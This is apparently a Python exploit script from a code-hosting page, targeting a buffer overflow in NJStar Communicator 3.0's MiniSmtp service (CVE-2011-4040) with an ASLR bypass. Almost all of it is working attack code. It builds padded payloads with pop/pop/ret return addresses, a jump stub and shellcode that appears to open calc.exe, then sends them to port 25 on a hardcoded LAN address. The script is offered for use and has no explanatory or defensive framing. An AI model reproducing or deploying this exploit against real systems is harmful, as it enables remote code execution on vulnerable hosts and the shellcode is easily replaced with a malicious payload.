63 lines
No EOL
1.7 KiB
Python
Executable file
63 lines
No EOL
1.7 KiB
Python
Executable file
# Exploit Title: NJStart Communicator MiniSmtp Buffer Overflow [ASLR Bypass]
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# Date: 02/12/11
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# Author: Zune - Julian Pulido
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# Software Link: http://www.njstar.com/download/njcom.exe
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# Version: 3.0
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# Build: 11818 and previous
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# Tested on: Windows 7 Ultimate
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# CVE:2011-4040
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#! /usr/local/bin/python
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import socket
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import time
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carriage= chr(0xd)
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#######################################
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Padding1= chr(0x31)* 275
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Jump= '\x8d\x44\x24\x80\xff\xe0\x90\x90'
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Junk1= chr(0x90)* 4
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return1= '\x2d\x12\x41' # pop retn
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egg1= Padding1+Jump+Junk1+return1+carriage
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#######################################
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Padding2= chr(0x32)* 271
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return2= '\x2b\x12\x41' # pop pop pop retn
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egg2= Padding2+return2+carriage
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#######################################
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Padding3= chr(0x33) * 263
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return3= '\x2d\x12\x41' # pop retn
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egg3= Padding3+return3+carriage
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#######################################
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Padding4= chr(0x34) * 171
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Padding5= chr(0x34) * 22
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ShellCode = "\xC7\x43\x20\x63\x61\x6C\x63\xC7\x43\x24\x2E\x65\x78\x65\x33\xC0\
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\x66\xB8\x1A\x08\xC1\xE0\x08\xB0\x79\x03\xE8\x8D\x43\x20\x33\xC9\xB1\x01\xC1\
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\xC1\x0C\x2B\xE1\x6A\x05\x50\xFF\xD5\x8D\x85\x85\x44\xF8\xFF\x6A\x01\xFF\xD0"
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return4= '\x2b\x12\x41' # pop pop pop retn
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egg4= Padding4+ShellCode+Padding5+return4+carriage
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#######################################
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def Send_SMTP (egg):
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connectionx.send(egg +'\n')
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time.sleep(2)
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connectionx = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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print "Exploit NJStar Communicator 3.0 MiniSmtp by Zune\n"
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print "Windows 7 Ultimate [ASLR Bypass]"
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try:
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connectionx.connect(("192.168.1.65",25))#SMTP port 25
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Send_SMTP(egg1)
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Send_SMTP(egg2)
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Send_SMTP(egg3)
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Send_SMTP(egg4)
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connectionx.close()
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except socket.error:
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print "it couldn't connect"
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time.sleep(2) |